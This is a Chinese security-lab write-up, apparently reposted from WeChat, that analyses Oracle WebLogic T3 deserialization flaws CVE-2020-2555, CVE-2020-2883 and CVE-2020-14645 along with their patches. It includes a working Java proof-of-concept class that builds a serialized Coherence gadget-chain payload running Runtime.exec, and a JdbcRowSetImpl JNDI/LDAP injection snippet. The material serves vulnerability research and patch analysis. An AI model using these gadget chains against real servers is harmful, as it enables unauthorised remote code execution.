作者:laker@知道创宇404实验室
时间:2020年8月28日
前言
环境搭建
java.exe -jar C:UsersAdministratorDesktopfmw_12.2.1.4.0_wls_lite_generic.jar
漏洞版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
12.2.1.4.0
漏洞成因
T3协议
t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://localhost:7001
LP:DOMAIN
1
n
结束HELO:12.1.3.0 false
AS:2048
HL:19
MS:10000000
•序列化数据部分,序列化部分的构成方式有两种:
•第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。•第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
JAVA
序列化包,需要在T3数据结构头部发送后在其中插入序列化恶意数据,该恶意数据与JAVA的原生ObjectOutputStream数据类型是一样的,然后发送T3数据结构尾部。CVE-2020-2555
BadAttributeValueExpException.readObject()
com.tangosol.util.filter.LimitFilter.toString() //CVE-2020-2555出现时 对此进行了修补
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
BadAttributeValueExpException
类实例可以用来调用任意类的toString()
方法 ,这里可能有小伙伴会好奇,为什么这个类的实例能调用在任意类的toString()
方法?原因如下:需要被调用的方法.invoke(被调用类class, 执行的代码)
。***.invoke(***,new String[]{"cmd","/c","calc"}
//用String.class.getClass().forName("java.lang.Runtime"))还原调用类class
***.invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}
//用String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime")构造method
//这里相当于java.lang.Runtime.getRuntime(new String[]{"cmd","/c","calc")
String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}
//再调一层反射获取exec
//String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)
String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)
.invoke(被调用类class, 执行的代码);
//完整反射
String.class.getClass().
forName("java.lang.Runtime")
.getMethod("exec",String.class)
.invoke(
String.class.getClass().forName("java.lang.Runtime").
getMethod("getRuntime").
invoke(String.class.getClass().forName("java.lang.Runtime"))
,new String[]{"calc"}
);
package test.laker;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class Exploit {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
//定义多次转换链进行反射调用
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{
"getRuntime", new Class[0]
}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
};
//初始化LimitFiler类实例
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
//将limitFilter放入BadAttributeValueExpException的val属性中
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
//生成序列化payload
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/poc2.ser"));
objectOutputStream.writeObject(expException);
objectOutputStream.close();
}
}
CVE-2020-2555补丁
cd %Oracle_Home%/Middleware/wlserver/server/lib
java -cp weblogic.jar weblogic.version
CVE-2020-2883
toString ----> extract
的路径java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
//...
Method.invoke()
//...
Runtime.exec()
PriorityQueue
,并根据指定的比较器对元素进行排序。PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
ExtractorComparator
这个比较器compare函数存在着extract方法。CVE-2020-2883补丁
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883
Method.invoke()
//...
Method.invoke()
//...
Runtime.exec()
CVE-2020-14645
fProperty==false
, 然而184行中m_fMethod存在transient修饰,被transient关键字修饰的变量不再能被序列化因此无法构建序列化字节流。sBeanAttribute--> sCName--->this.getCanonicalName()
,这里做的工作就是187行对sCName首字母大写并将其与BEAN_ACCESSOR_PREFIXES列表的值进行拼接,取到则停止返回method。BEAN_ACCESSOR_PREFIXES
列表是什么样的呢?其存储了get和is两个字符串。因此,在拼接的时候,只能形成get___或者is___这样的方法调用。JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc");
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet});
Reflections.setFieldValue(queue, "size", 2);
LDAP:< JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121
参考文章
往 期 热 门
(点击图片跳转)
觉得不错点个“在看”哦
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论